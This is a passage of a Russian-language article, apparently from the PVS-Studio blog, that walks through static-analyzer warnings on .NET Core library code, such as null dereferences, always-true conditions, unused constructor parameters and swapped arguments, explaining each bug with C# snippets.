**Предупреждение PVS-Studio**: [V3110](https://www.viva64.com/ru/w/v3110/) Possible infinite recursion inside 'WriteValue' method. XmlAttributeCache.cs 166
Метод вызывает сам себя, образуя таким образом рекурсию без условия выхода из неё.
**Issue 27**
```
public IList DocOrderDistinct(IList seq)
{
if (seq.Count <= 1)
return seq;
XmlQueryNodeSequence nodeSeq = (XmlQueryNodeSequence)seq;
if (nodeSeq == null)
nodeSeq = new XmlQueryNodeSequence(seq);
return nodeSeq.DocOrderDistinct(\_docOrderCmp);
}
```
**Предупреждение PVS-Studio**: [V3095](https://www.viva64.com/ru/w/v3095/) The 'seq' object was used before it was verified against null. Check lines: 880, 884. XmlQueryRuntime.cs 880
В качестве аргумента методу может прийти значение *null*, из-за чего при обращении к свойству *Count* будет сгенерировано исключение типа *NullReferenceException*. Ниже выполняется проверка переменной *nodeSeq*, полученной в результате явного приведения *seq*, но зачем она там — не очень понятно. Если значение *seq* — *null*, поток исполнения не дойдёт до этой проверки из-за исключения. Если значение *seq* — не *null*, то:
* будет сгенерировано исключение типа *InvalidCastException*, если не удастся выполнить приведение;
* если приведение пройдёт успешно, *nodeSeq* точно имеет значение, отличное от *null*.
**Issue 28**
Встретилось 4 конструктора, в которых были неиспользуемые параметры. Возможно, они оставлены для совместимости, но никаких комментариев касаемо этих неиспользуемых параметров я не нашёл.
**Предупреждения PVS-Studio**:
* [V3117](https://www.viva64.com/ru/w/v3117/) Constructor parameter 'securityUrl' is not used. XmlSecureResolver.cs 15
* [V3117](https://www.viva64.com/ru/w/v3117/) Constructor parameter 'strdata' is not used. XmlEntity.cs 18
* [V3117](https://www.viva64.com/ru/w/v3117/) Constructor parameter 'location' is not used. Compilation.cs 58
* [V3117](https://www.viva64.com/ru/w/v3117/) Constructor parameter 'access' is not used. XmlSerializationILGen.cs 38
Наиболее меня заинтересовал первый (по крайней мере, именно его я выписал в список предупреждений для статьи). Чем? Не уверен. Возможно, названием.
```
public XmlSecureResolver(XmlResolver resolver, string securityUrl)
{
_resolver = resolver;
}
```
Интереса ради зашёл посмотреть, что пишут на docs.microsoft.com — "[XmlSecureResolver Constructors](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmlsecureresolver.-ctor?view=netcore-3.0)" про параметр *securityUrl*:
*The URL used to create the PermissionSet that will be applied to the underlying XmlResolver. The XmlSecureResolver calls PermitOnly() on the created PermissionSet before calling GetEntity(Uri, String, Type) on the underlying XmlResolver.*
**Issue 29**
В пакете *System.Private.Uri* я нашёл метод, который вступал в небольшое противоречие с гайдлайнами Microsoft по переопределению метода *ToString*. Вспомним один из советов со страницы "[Object.ToString Method](https://docs.microsoft.com/en-us/dotnet/api/system.object.tostring?view=netcore-3.0)": ***Your ToString() override should not throw an exception****.*
Сам переопределённый метод выглядит следующим образом:
```
public override string ToString()
{
if (_username.Length == 0 && _password.Length > 0)
{
throw new UriFormatException(SR.net_uri_BadUserPassword);
}
....
}
```
**Предупреждение PVS-Studio**: [V3108](https://www.viva64.com/ru/w/v3108/) It is not recommended to throw exceptions from 'ToSting()' method. UriBuilder.cs 406
Код, задавший через публичные свойства *UserName* и *Password* пустую строку для поля *\_username* и непустую для поля *\_password* соответственно, а затем вызвавший метод *ToString*, получит исключение. Пример такого кода:
```
UriBuilder uriBuilder = new UriBuilder()
{
UserName = String.Empty,
Password = "Dummy"
};
String stringRepresentation = uriBuilder.ToString();
Console.WriteLine(stringRepresentation);
```
Но в данном случае разработчики честно предупреждают о том, что при вызове может быть сгенерировано исключение — это описано как в комментариях к методу, так и на docs.microsoft.com — "[UriBuilder.ToString Method](https://docs.microsoft.com/en-us/dotnet/api/system.uribuilder.tostring?view=netcore-3.0)".
**Issue 30**
Взглянем на предупреждения, выданные на код проекта *System.Data.Common*.
```
private ArrayList _tables;
private DataTable GetTable(string tableName, string ns)
{
....
if (_tables.Count == 0)
return (DataTable)_tables[0];
....
}
```
**Предупреждение PVS-Studio**: [V3106](https://www.viva64.com/ru/w/v3106/) Possibly index is out of bound. The '0' index is pointing beyond '\_tables' bound. XMLDiffLoader.cs 277
Этот фрагмент кода выглядит необычно? Как вы думаете, что это? Необычный способ сгенерировать исключение типа *ArgumentOutOfRangeException*? Такому подходу я бы, пожалуй, не удивился. В общем, код странный и подозрительный.
**Issue 31**
```
internal XmlNodeOrder ComparePosition(XPathNodePointer other)
{
RealFoliate();
other.RealFoliate();
Debug.Assert(other != null);
....
}
```
**Предупреждение PVS-Studio**: [V3095](https://www.viva64.com/ru/w/v3095/) The 'other' object was used before it was verified against null. Check lines: 1095, 1096. XPathNodePointer.cs 1095
Выражение *other != null* как аргумент метода *Debug.Assert* недвусмысленно намекает, что в качестве аргумента методу *ComparePosition* может приходить значение *null*. По крайней мере, такие случаи хотят отлавливать. Но в то же время строкой выше у *other* вызывается экземплярный метод *RealFoliate*. В итоге, если *other* имеет значение *null*, будет сгенерировано исключение типа *NullReferenceException* до проверки через *Assert*.
**Issue 32**
```
private PropertyDescriptorCollection GetProperties(Attribute[] attributes)
{
....
foreach (Attribute attribute in attributes)
{
Attribute attr = property.Attributes[attribute.GetType()];
if ( (attr == null && !attribute.IsDefaultAttribute())
|| !attr.Match(attribute))
{
match = false;
break;
}
}
....
}
```
**Предупреждение PVS-Studio**: [V3080](https://www.viva64.com/ru/w/v3080/) Possible null dereference. Consider inspecting 'attr'. DbConnectionStringBuilder.cs 534
Условное выражение оператора *if* выглядит несколько подозрительно. *Match* — экземплярный метод. Судя по проверке *attr == null*, *null* — допустимое (ожидаемое) значение для этой переменной. Следовательно, если поток исполнения дойдёт до правого операнда оператора || при условии, что *attr* — *null*, получим исключение типа *NullReferenceException*.
Соответственно, условия возникновения исключения следующие:
1. Значение *attr* — *null*. Вычисляется правый операнд оператора &&.
2. Значение *!attribute.IsDefaultAttribute()* — *false*. Общий результат выражения с оператором && — *false*.
3. Так как левый операнд оператора || имеет значение *false*, вычисляется правый операнд.
4. Так как *attr* — *null*, при вызове метода *Match* генерируется исключение.
**Issue 33**
```
private int ReadOldRowData(
DataSet ds, ref DataTable table, ref int pos, XmlReader row)
{
....
if (table == null)
{
row.Skip(); // need to skip this element if we dont know about it,
// before returning -1
return -1;
}
....
if (table == null)
throw ExceptionBuilder.DiffgramMissingTable(
XmlConvert.DecodeName(row.LocalName));
....
}
```
**Предупреждение PVS-Studio**: [V3021](https://www.viva64.com/ru/w/v3021/) There are two 'if' statements with identical conditional expressions. The first 'if' statement contains method return. This means that the second 'if' statement is senseless XMLDiffLoader.cs 301
Есть два оператора *if*, содержащих одинаковое условное выражение — *table == null*. При этом then-ветви этих операторов содержат разные действия — в одном случае осуществляется выход из метода со значением -1, во втором — генерируется исключение. Между проверками переменная *table* не изменяется. Таким образом, рассматриваемое исключение сгенерировано не будет.
**Issue 34**
Взглянем на интересный метод из проекта *System.ComponentModel.TypeConverter*. Точнее, сначала взглянем на описывающий его комментарий:
*Removes the last character from the formatted string. (Remove last character in virtual string). On exit the out param contains the position where the operation was actually performed. This position is relative to the test string. The MaskedTextResultHint out param gives more information about the operation result. Returns* ***true*** *on success,* ***false*** *otherwise.*
Ключевой момент по возвращаемому значению: если операция проходит успешно, метод возвращает *true*, иначе — *false*. Посмотрим, что происходит по факту.
```
public bool Remove(out int testPosition, out MaskedTextResultHint resultHint)
{
....
if (lastAssignedPos == INVALID_INDEX)
{
....
return true; // nothing to remove.
}
....
return true;
}
```
**Предупреждение PVS-Studio**: [V3009](https://www.viva64.com/ru/w/v3009/) It's odd that this method always returns one and the same value of 'true'. MaskedTextProvider.cs 1529
По факту же получается, что единственное возвращаемое значение метода — *true*.
**Issue 35**
```
public void Clear()
{
if (_table != null)
{
....
}
if (_table.fInitInProgress && _delayLoadingConstraints != null)
{
....
}
....
}
```
**Предупреждение PVS-Studio**: [V3125](https://www.viva64.com/ru/w/v3125/) The '\_table' object was used after it was verified against null. Check lines: 437, 423. ConstraintCollection.cs 437
Проверка *\_table != null* говорит сама за себя — переменная *\_table* может иметь значение *null*. По крайней мере, на этот случай перестраховываются. Однако ниже обращаются к экземплярному полю через *\_table* уже без проверки на *null* — *\_table .fInitInProgress*.
**Issue 36**
Теперь рассмотрим несколько предупреждений, выданных на код проекта *System.Runtime.Serialization.Formatters*.
```
private void Write(....)
{
....
if (memberNameInfo != null)
{
....
_serWriter.WriteObjectEnd(memberNameInfo, typeNameInfo);
}
else if ((objectInfo._objectId == _topId) && (_topName != null))
{
_serWriter.WriteObjectEnd(topNameInfo, typeNameInfo);
....
}
else if (!ReferenceEquals(objectInfo._objectType, Converter.s_typeofString))
{
_serWriter.WriteObjectEnd(typeNameInfo, typeNameInfo);
}
}
```
**Предупреждение PVS-Studio**: [V3038](https://www.viva64.com/ru/w/v3038/) The argument was passed to method several times. It is possible that other argument should be passed instead. BinaryObjectWriter.cs 262
Анализатор смутил последний вызов *\_serWriter.WriteObjectEnd* с двумя одинаковыми аргументами — *typeNameInfo*. Вроде бы похоже на опечатку, но наверняка сказать нельзя. Решил посмотреть, что из себя представляет вызываемый метод *WriteObjectEnd*.
```
internal void WriteObjectEnd(NameInfo memberNameInfo, NameInfo typeNameInfo)
{ }
```
Что ж… Идём дальше. :)
**Issue 37**
```
internal void WriteSerializationHeader(
int topId,
int headerId,
int minorVersion,
int majorVersion)
{
var record = new SerializationHeaderRecord(
BinaryHeaderEnum.SerializedStreamHeader,
topId,
headerId,
minorVersion,
majorVersion);
record.Write(this);
}
```
Глядя на этот код, сходу и не скажешь, что здесь не так или выглядит подозрительно. А вот анализатор вполне может сказать, что его насторожило.
**Предупреждение PVS-Studio**: [V3066](https://www.viva64.com/ru/w/v3066/) Possible incorrect order of arguments passed to 'SerializationHeaderRecord' constructor: 'minorVersion' and 'majorVersion'. BinaryFormatterWriter.cs 111
Посмотрим на вызываемый конструктор класса *SerializationHeaderRecord*.
```
internal SerializationHeaderRecord(
BinaryHeaderEnum binaryHeaderEnum,
int topId,
int headerId,
int majorVersion,
int minorVersion)
{
_binaryHeaderEnum = binaryHeaderEnum;
_topId = topId;
_headerId = headerId;
_majorVersion = majorVersion;
_minorVersion = minorVersion;
}
```
Как видно, параметры конструктора следуют в порядке *majorVersion*, *minorVersion*; при вызове конструктора передаются же они в порядке *minorVersion*, *majorVersion*. Похоже на опечатку. Если же так и было задумано (а вдруг?) — думаю, следовало бы оставить поясняющий комментарий.
**Issue 38**
```
internal ObjectManager(
ISurrogateSelector selector,
StreamingContext context,
bool checkSecurity,
bool isCrossAppDomain)
{
_objects = new ObjectHolder[DefaultInitialSize];
_selector = selector;
_context = context;
_isCrossAppDomain = isCrossAppDomain;
}
```
**Предупреждение PVS-Studio**: [V3117](https://www.viva64.com/ru/w/v3117/) Constructor parameter 'checkSecurity' is not used. ObjectManager.cs 33
Параметр конструктора *checkSecurity* никак не используется. Комментариев к нему нет. Предположу, что он оставлен для совместимости, но так или иначе, в контексте разговоров про безопасность в последние годы смотрится это интересно.
**Issue 39**
Встретился ещё код, показавшийся мне необычным. Паттерн выглядит 1 в 1 во всех трёх обнаруженных случаях и находится в методах с одинаковыми именами и названиями переменных. Следовательно:
* либо я недостаточно просветлён и не понял смысла такого дублирования;
* либо ошибка распространялась по коду методом copy-paste.
Сам код:
```
private void EnlargeArray()
{
int newLength = _values.Length * 2;
if (newLength < 0)
{
if (newLength == int.MaxValue)
{
throw new SerializationException(SR.Serialization_TooManyElements);
}
newLength = int.MaxValue;
}
FixupHolder[] temp = new FixupHolder[newLength];
Array.Copy(_values, 0, temp, 0, _count);
_values = temp;
}
```
**Предупреждения PVS-Studio**:
* [V3022](https://www.viva64.com/ru/w/v3022/) Expression 'newLength == int.MaxValue' is always false. ObjectManager.cs 1423
* [V3022](https://www.viva64.com/ru/w/v3022/) Expression 'newLength == int.MaxValue' is always false. ObjectManager.cs 1511
* [V3022](https://www.viva64.com/ru/w/v3022/) Expression 'newLength == int.MaxValue' is always false. ObjectManager.cs 1558
Всё, что отличается в других методах — тип элементов массива *temp* (не *FixupHolder*, а *long* или *object*). Так что есть у меня всё-таки подозрения на copy-paste…
**Issue 40**
Код из проекта *System.Data.Odbc*.
```
public string UnquoteIdentifier(....)
{
....
if (!string.IsNullOrEmpty(quotePrefix) || quotePrefix != " ")
{ .... }
....
}
```
**Предупреждение PVS-Studio**: [V3022](https://www.viva64.com/ru/w/v3022/) Expression '!string.IsNullOrEmpty(quotePrefix) || quotePrefix != " "' is always true. OdbcCommandBuilder.cs 338
Анализатор считает, что приведённое выражение всегда имеет значение *true*. И это действительно так. Причём неважно, какое значение содержит *quotePrefix* по факту — неправильно записано само условие. Давайте разбираться.
Имеем оператор ||, следовательно, значением выражения будет *true*, если левый или правый (или оба) операнд будет иметь значение *true*. С левым всё понятно. Правый операнд будет вычисляться только в случае, если левый имеет значение *false*. Следовательно, если выражение составлено так, что значение правого операнда всегда *true*, когда значение левого — *false*, результат всего выражения будет постоянно *true*.
Из приведённого выше кода знаем, что если вычисляется правый операнд, то значение выражения *string.IsNullOrEmpty(quotePrefix)* — *true*, следовательно, верно одно из утверждений:
* *quotePrefix == null*;
* *quotePrefix.Length == 0*.
При истинности любого из этих утверждений также будет истинно выражение *quotePrefix != " "*, что мы и хотели доказать. Следовательно, значение всего выражения всегда — *true*, независимо от содержимого *quotePrefix*.
**Issue 41**
Возвращаясь к разговору о конструкторах с неиспользуемыми параметрами:
```
private sealed class PendingGetConnection
{
public PendingGetConnection(
long dueTime,
DbConnection owner,
TaskCompletionSource completion,
DbConnectionOptions userOptions)
{
DueTime = dueTime;
Owner = owner;
Completion = completion;
}
public long DueTime { get; private set; }
public DbConnection Owner { get; private set; }
public TaskCompletionSource
Completion { get; private set; }
public DbConnectionOptions UserOptions { get; private set; }
}
```
**Предупреждение PVS-Studio**: [V3117](https://www.viva64.com/ru/w/v3117/) Constructor parameter 'userOptions' is not used. DbConnectionPool.cs 26
Из кода и предупреждения анализатора видно, что не используется только один параметр конструктора — *userOptions*, при том, что другие используются для инициализации одноимённых свойств. Очень похоже, что одно из свойств инициализировать забыли.
**Issue 42**
Есть подозрительный код, который встретился в этом проекте 2 раза. Паттерн одинаковый.
```
private DataTable ExecuteCommand(....)
{
....
foreach (DataRow row in schemaTable.Rows)
{
resultTable.Columns
.Add(row["ColumnName"] as string,
(Type)row["DataType"] as Type);
}
....
}
```
**Предупреждения PVS-Studio**:
* [V3051](https://www.viva64.com/ru/w/v3051/) An excessive type cast. The object is already of the 'Type' type. DbMetaDataFactory.cs 176
* [V3051](https://www.viva64.com/ru/w/v3051/) An excessive type cast. The object is already of the 'Type' type. OdbcMetaDataFactory.cs 1109
Подозрительно выглядит выражение *(Type)row[«DataType»] as Type*. Сначала будет выполнено явное приведение, затем — приведение через оператор *as*. Если значение *row[«DataType»]* — *null*, оно успешно 'пройдёт' через оба приведения и пойдёт в качестве аргумента методу *Add*. Если *row[«DataType»]* возвращает значение, которое не удастся привести к типу *Type*, уже при явном приведении будет сгенерировано исключение типа *InvalidCastException*. В итоге, зачем здесь два приведения? Вопрос открытый.
**Issue 43**
Посмотрим на подозрительный фрагмент из *System.Runtime.InteropServices.RuntimeInformation*.
```
public static string FrameworkDescription
{
get
{
if (s_frameworkDescription == null)
{
string versionString = (string)AppContext.GetData("FX_PRODUCT_VERSION");
if (versionString == null)
{
....
versionString
= typeof(object).Assembly
.GetCustomAttribute<
AssemblyInformationalVersionAttribute>()
?.InformationalVersion;
....
int plusIndex = versionString.IndexOf('+');
....
}
....
}
....
}
}
```
**Предупреждение PVS-Studio**: [V3105](https://www.viva64.com/ru/w/v3105/) The 'versionString' variable was used after it was assigned through null-conditional operator. NullReferenceException is possible. RuntimeInformation.cs 29
Анализатор предупреждает о возможном возникновении исключения типа *NullReferenceException* при вызове метода *IndexOf* для переменной *versionString*. При получении значения для переменной авторы кода используют оператор '?.', чтобы не получить исключения *NullReferenceException* при обращении к свойству *InfromationalVersion*. Шутка в том, что если вызов *GetCustomAttribute<...>* вернёт *null*, исключение всё равно будет сгенерировано, но ниже — при вызове метода *IndexOf*, так как *versionString* будет иметь значение *null*.
**Issue 44**
Обратимся к проекту *System.ComponentModel.Composition* и посмотрим несколько предупреждений. Сразу 2 предупреждения было выдано на следующий код:
```
public static bool CanSpecialize(....)
{
....
object[] genericParameterConstraints = ....;
GenericParameterAttributes[] genericParameterAttributes = ....;
// if no constraints and attributes been specifed, anything can be created
if ((genericParameterConstraints == null) &&
(genericParameterAttributes == null))
{
return true;
}
if ((genericParameterConstraints != null) &&
(genericParameterConstraints.Length != partArity))
{
return false;
}
if ((genericParameterAttributes != null) &&
(genericParameterAttributes.Length != partArity))
{
return false;
}
for (int i = 0; i < partArity; i++)
{
if (!GenericServices.CanSpecialize(
specialization[i],
(genericParameterConstraints[i] as Type[]).
CreateTypeSpecializations(specialization),
genericParameterAttributes[i]))
{
return false;
}
}
return true;
}
```
**Предупреждения PVS-Studio**:
* [V3125](https://www.viva64.com/ru/w/v3125/) The 'genericParameterConstraints' object was used after it was verified against null. Check lines: 603, 589. GenericSpecializationPartCreationInfo.cs 603
* [V3125](https://www.viva64.com/ru/w/v3125/) The 'genericParameterAttributes' object was used after it was verified against null. Check lines: 604, 594. GenericSpecializationPartCreationInfo.cs 604
В коде имеются проверки *genericParameterAttributes != null* и *genericParameterConstraints != null*. Следовательно, *null* — допустимые значения для этих переменных, учитываем. Если обе переменные имеют значение *null*, выходим из метода — вопросов нет. А что, если какая-нибудь из переменных *null*, но при этом не будет осуществлён выход из метода? Если возможно такое состояние, и исполнение дойдёт до прохода по циклу, получим исключение типа *NullReferenceException*.
**Issue 45**
Посмотрим ещё на одно интересное предупреждение из этого же проекта. А хотя, давайте поступим иначе — сначала опять воспользуемся классом, а затем посмотрим на код. Подключим в проект одноимённый NuGet пакет последней доступной prerelease версии (я поставил пакет версии 4.6.0-preview6.19303.8). Напишем простенький код, например, такой:
```
LazyMemberInfo lazyMemberInfo = new LazyMemberInfo();
var eq = lazyMemberInfo.Equals(null);
Console.WriteLine(eq);
```
Метод *Equals* не прокомментирован, на docs.microsoft.com я не нашёл описание этого метода для .NET Core, только для .NET Framework. Если взглянуть на него ("[LazyMemberInfo.Equals(Object) Method](https://docs.microsoft.com/en-us/dotnet/api/system.componentmodel.composition.reflectionmodel.lazymemberinfo.equals?view=netframework-4.8&viewFallbackFrom=netcore-3.0#System_ComponentModel_Composition_ReflectionModel_LazyMemberInfo_Equals_System_Object_)") — ничего необычного не видно — возвращает *true* или *false*, информации о генерируемых исключениях нет.
Запускаем код на исполнение и видим:
Можем чуть извратиться, написать следующий код и тоже получить интересный вывод:
```
LazyMemberInfo lazyMemberInfo = new LazyMemberInfo();
var eq = lazyMemberInfo.Equals(typeof(String));
Console.WriteLine(eq);
```
Результат исполнения кода.
Что интересно, оба этих исключения генерируются в одном и том же выражении. Заглянем же внутрь метода *Equals*.
```
public override bool Equals(object obj)
{
LazyMemberInfo that = (LazyMemberInfo)obj;
// Difefrent member types mean different members
if (_memberType != that._memberType)
{
return false;
}
// if any of the lazy memebers create accessors in a delay-loaded fashion,
// we simply compare the creators
if ((_accessorsCreator != null) || (that._accessorsCreator != null))
{
return object.Equals(_accessorsCreator, that._accessorsCreator);
}
// we are dealing with explicitly passed accessors in both cases
if(_accessors == null || that._accessors == null)
{
throw new Exception(SR.Diagnostic_InternalExceptionMessage);
}
return _accessors.SequenceEqual(that._accessors);
}
```
**Предупреждение PVS-Studio**: [V3115](https://www.viva64.com/ru/w/v3115/) Passing 'null' to 'Equals' method should not result in 'NullReferenceException'. LazyMemberInfo.cs 116
На самом деле, здесь анализатор немного дал маху, так как выдал предупреждение на выражение *that.\_memberType*. Исключения, однако, происходят выше — при выполнении выражения *(LazyMemberInfo)obj*. Уже взято на заметку.
С *InvalidCastException*, думаю, всё понятно. Почему генерируется *NullReferenceException*? Дело в том, что *LazyMemberInfo* — структура, соответственно, выполняется распаковка. А распаковка значения *null* как раз и приводит к возникновению исключения типа *NullReferenceException*. Ну а ещё здесь пара опечаток в комментариях — тоже заодно можно поправить. Ну и явное выкидывание исключения тоже остаётся на совести авторов.
**Issue 46**
Что-то подобное, кстати, встретилось в *System.Drawing.Common*, в структуре *TriState*.
```
public override bool Equals(object o)
{
TriState state = (TriState)o;
return _value == state._value;
}
```
**Предупреждение PVS-Studio**: [V3115](https://www.viva64.com/ru/w/v3115/) Passing 'null' to 'Equals' method should not result in 'NullReferenceException'. TriState.cs 53
Проблемы такие же, как в описанном выше случае.
**Issue 47**
Рассмотрим несколько фрагментов из *System.Text.Json*.
Помните, мы говорили о том, что *ToString* не должен возвращать *null*? Закрепим.
```
public override string ToString()
{
switch (TokenType)
{
case JsonTokenType.None:
case JsonTokenType.Null:
return string.Empty;
case JsonTokenType.True:
return bool.TrueString;
case JsonTokenType.False:
return bool.FalseString;
case JsonTokenType.Number:
case JsonTokenType.StartArray:
case JsonTokenType.StartObject:
{
// null parent should have hit the None case
Debug.Assert(_parent != null);
return _parent.GetRawValueAsString(_idx);
}
case JsonTokenType.String:
return GetString();
case JsonTokenType.Comment:
case JsonTokenType.EndArray:
case JsonTokenType.EndObject:
default:
Debug.Fail($"No handler for {nameof(JsonTokenType)}.{TokenType}");
return string.Empty;
}
}
```
На первый взгляд этот метод *null* и не возвращает, но анализатор утверждает обратное.
**Предупреждение PVS-Studio**: [V3108](https://www.viva64.com/ru/w/v3108/) It is not recommended to return 'null' from 'ToSting()' method. JsonElement.cs 1460
Анализатор указывает на строку с вызовом метода *GetString()*. Посмотрим на него:
```
public string GetString()
{
CheckValidInstance();
return _parent.GetString(_idx, JsonTokenType.String);
}
```
Погружаемся глубже — в перегруженную версию метода *GetString*:
```
internal string GetString(int index, JsonTokenType expectedType)
{
....
if (tokenType == JsonTokenType.Null)
{
return null;
}
....
}
```
И тут уже видим условие, при выполнении которого будет возвращено значение *null* — как из этого метода, так и из изначально рассматриваемого *ToString*.
**Issue 48**
Ещё одно интересное место:
```
internal JsonPropertyInfo CreatePolymorphicProperty(....)
{
JsonPropertyInfo runtimeProperty
= CreateProperty(property.DeclaredPropertyType,
runtimePropertyType,
property.ImplementedPropertyType,
property?.PropertyInfo,
Type,
options);
property.CopyRuntimeSettingsTo(runtimeProperty);
return runtimeProperty;
}
```
**Предупреждение PVS-Studio**: [V3042](https://www.viva64.com/ru/w/v3042/) Possible NullReferenceException. The '?.' and '.' operators are used for accessing members of the 'property' object JsonClassInfo.AddProperty.cs 179
При вызове метода *CreateProperty* несколько раз обращаются к свойствам через переменную *property*: *property.DeclaredPropertyType*, *property.ImplementedPropertyType*, *property?.PropertyInfo*. Как видите, в одном случае используют оператор '?.'. Если он здесь не лишний и *property* может иметь значение *null*, этот оператор ничем не поможет, так как при прямом доступе будет сгенерировано исключение типа *NullReferenceException*.
**Issue 49**
Следующие подозрительные места были найдены в проекте *System.Security.Cryptography.Xml* и идут они парой, как это уже несколько раз было с другими предупреждениями. Код опять похож на copy-paste, сравните сами.
Первый фрагмент:
```
public void Write(StringBuilder strBuilder,
DocPosition docPos,
AncestralNamespaceContextManager anc)
{
docPos = DocPosition.BeforeRootElement;
foreach (XmlNode childNode in ChildNodes)
{
if (childNode.NodeType == XmlNodeType.Element)
{
CanonicalizationDispatcher.Write(
childNode, strBuilder, DocPosition.InRootElement, anc);
docPos = DocPosition.AfterRootElement;
}
else
{
CanonicalizationDispatcher.Write(childNode, strBuilder, docPos, anc);
}
}
}
```
Второй фрагмент:
```
public void WriteHash(HashAlgorithm hash,
DocPosition docPos,
AncestralNamespaceContextManager anc)
{
docPos = DocPosition.BeforeRootElement;
foreach (XmlNode childNode in ChildNodes)
{
if (childNode.NodeType == XmlNodeType.Element)
{
CanonicalizationDispatcher.WriteHash(
childNode, hash, DocPosition.InRootElement, anc);
docPos = DocPosition.AfterRootElement;
}
else
{
CanonicalizationDispatcher.WriteHash(childNode, hash, docPos, anc);
}
}
}
```
**Предупреждения PVS-Studio**:
* [V3061](https://www.viva64.com/ru/w/v3061/) Parameter 'docPos' is always rewritten in method body before being used. CanonicalXmlDocument.cs 37
* [V3061](https://www.viva64.com/ru/w/v3061/) Parameter 'docPos' is always rewritten in method body before being used. CanonicalXmlDocument.cs 54
В обоих этих методах параметр *docPos* перезаписывается до того, как его значение используется, следовательно, значение, используемое в качестве аргумента метода, попросту игнорируется.
**Issue 50**
Рассмотрим несколько предупреждений на код проекта *System.Data.SqlClient*.
```
private bool IsBOMNeeded(MetaType type, object value)
{
if (type.NullableType == TdsEnums.SQLXMLTYPE)
{
Type currentType = value.GetType();
if (currentType == typeof(SqlString))
{
if (!((SqlString)value).IsNull && ((((SqlString)value).Value).Length > 0))
{
if ((((SqlString)value).Value[0] & 0xff) != 0xff)
return true;
}
}
else if ((currentType == typeof(string)) && (((String)value).Length > 0))
{
if ((value != null) && (((string)value)[0] & 0xff) != 0xff)
return true;
}
else if (currentType == typeof(SqlXml))
{
if (!((SqlXml)value).IsNull)
return true;
}
else if (currentType == typeof(XmlDataFeed))
{
return true; // Values will eventually converted to unicode string here
}
}
return false;
}
```
**Предупреждение PVS-Studio**: [V3095](https://www.viva64.com/ru/w/v3095/) The 'value' object was used before it was verified against null. Check lines: 8696, 8708. TdsParser.cs 8696
Анализатор смутила проверка *value != null* в одном из условий. Похоже, что она затерялась там во время рефакторинга, так как выше *value* многократно разыменовывается. Если же *value* может иметь значение *null* — дела обстоят плохо.
**Issue 51**
Следующая ошибка из тестов, но мне она показалась интересной, так что я решил привести её.
```
protected virtual TDSMessageCollection CreateQueryResponse(....)
{
....
if (....)
{
....
}
else if ( lowerBatchText.Contains("name")
&& lowerBatchText.Contains("state")
&& lowerBatchText.Contains("databases")
&& lowerBatchText.Contains("db_name"))
// SELECT [name], [state] FROM [sys].[databases] WHERE [name] = db_name()
{
// Delegate to current database response
responseMessage = _PrepareDatabaseResponse(session);
}
....
}
```
**Предупреждение PVS-Studio**: [V3053](https://www.viva64.com/ru/w/v3053/) An excessive expression. Examine the substrings 'name' and 'db\_name'. QueryEngine.cs 151
Дело в том, что в данном случае сочетание подвыражений *lowerBatchText.Contains(«name»)* и *lowerBatchText.Contains(«db\_name»)* является избыточным. В самом деле, если проверяемая строка содержит подстроку *«db\_name»*, то она будет содержать и подстроку *«name»*. Если же строка не содержит *«name»*, то и *«db\_name»* она содержать не будет. В итоге получается, что проверка *lowerBatchText.Contains(«name»)* является избыточной. Разве что она может сократить количество вычисляемых выражений, если проверяемая строка не содержит *«name»*.
**Issue 52**
Подозрительный фрагмент кода из проекта *System.Net.Requests*.
```
protected override PipelineInstruction PipelineCallback(
PipelineEntry entry, ResponseDescription response, ....)
{
if (NetEventSource.IsEnabled)
NetEventSource.Info(this,
$"Command:{entry?.Command} Description:{response?.StatusDescription}");
// null response is not expected
if (response == null)
return PipelineInstruction.Abort;
....
if (entry.Command == "OPTS utf8 on\r\n")
....
....
}
```
**Предупреждение PVS-Studio**: [V3125](https://www.viva64.com/ru/w/v3125/) The 'entry' object was used after it was verified against null. Check lines: 270, 227. FtpControlStream.cs 270
При составлении интерполированной строки используются выражения *entry?.Command* и *response?.Description*. Вместо оператора '.' используют '?.', чтобы не получить исключение типа *NullReferenceException*, если какой-то из соответствующих параметров будет иметь значение *null*. В данном случае этот приём работает. Далее, как видно из кода, возможное *null* значение для *response* отсекают (выход из метода, если *response == null*), а вот для *entry* ничего подобного нет. В итоге, если *entry* — *null*, ниже, при вызове *entry.Command* (уже с использованием '.', а не '?.') будет сгенерировано исключение.
Дальше нам вновь предстоит достаточно детальное изучение кода, так что предлагаю сделать очередной перерыв — немного отвлечься, заварить чай или приготовить кофе, после чего буду рад вас снова видеть здесь.
Вернулись? Тогда продолжим. :)
**Issue 53**
Теперь посмотрим на что-то интересное из проекта *System.Collections.Immutable*. В этот раз немного поэкспериментируем со структурой *System.Collections.Immutable.ImmutableArray*. Нас интересуют методы *IStructuralEquatable.Equals* и *IStructuralComparable.CompareTo*.
Начнём с метода *IStructuralEquatable.Equals*. Код приведён ниже, предлагаю самостоятельно попробовать понять, что в нём не так:
```
bool IStructuralEquatable.Equals(object other, IEqualityComparer comparer)
{
var self = this;
Array otherArray = other as Array;
if (otherArray == null)
{
var theirs = other as IImmutableArray;
if (theirs != null)
{
otherArray = theirs.Array;
if (self.array == null && otherArray == null)
{
return true;
}
else if (self.array == null)
{
return false;
}
}
}
IStructuralEquatable ours = self.array;
return ours.Equals(otherArray, comparer);
}
```
Удалось? Если да — опять же, принимайте поздравления. :)
**Предупреждение PVS-Studio**: [V3125](https://www.viva64.com/ru/w/v3125/) The 'ours' object was used after it was verified against null. Check lines: 1212, 1204. ImmutableArray\_1.cs 1212
Анализатор смутил вызов экземплярного метода *Equals* через переменную *ours*, находящийся в последнем выражении *return*, так как он предполагает, что здесь возможно возникновение исключения типа *NullReferenceException*. Каким образом он пришёл к этому заключению? Чтобы легче было объяснить, ниже привожу упрощённый код этого же метода.
```
bool IStructuralEquatable.Equals(object other, IEqualityComparer comparer)
{
....
if (....)
{
....
if (....)
{
....
if (self.array == null && otherArray == null)
{
....
}
else if (self.array == null)
{
....
}
}
}
IStructuralEquatable ours = self.array;
return ours.Equals(otherArray, comparer);
}
```
По последним выражениям мы видим, что значение переменной *ours* получается из *self.array*. Выше же несколько раз выполняется проверка *self.array == null*. Следовательно, *self.array*, а значит и *ours*, могут иметь значение *null*. По крайней мере, в теории. Достижимо ли такое состояние на практике? Давайте попробуем выяснить. Для этого ещё раз привожу тело метода с расставленными ключевыми точками.
```
bool IStructuralEquatable.Equals(object other, IEqualityComparer comparer)
{
var self = this; // <= 1
Array otherArray = other as Array;
if (otherArray == null) // <= 2
{
var theirs = other as IImmutableArray;
if (theirs != null) // <= 3
{
otherArray = theirs.Array;
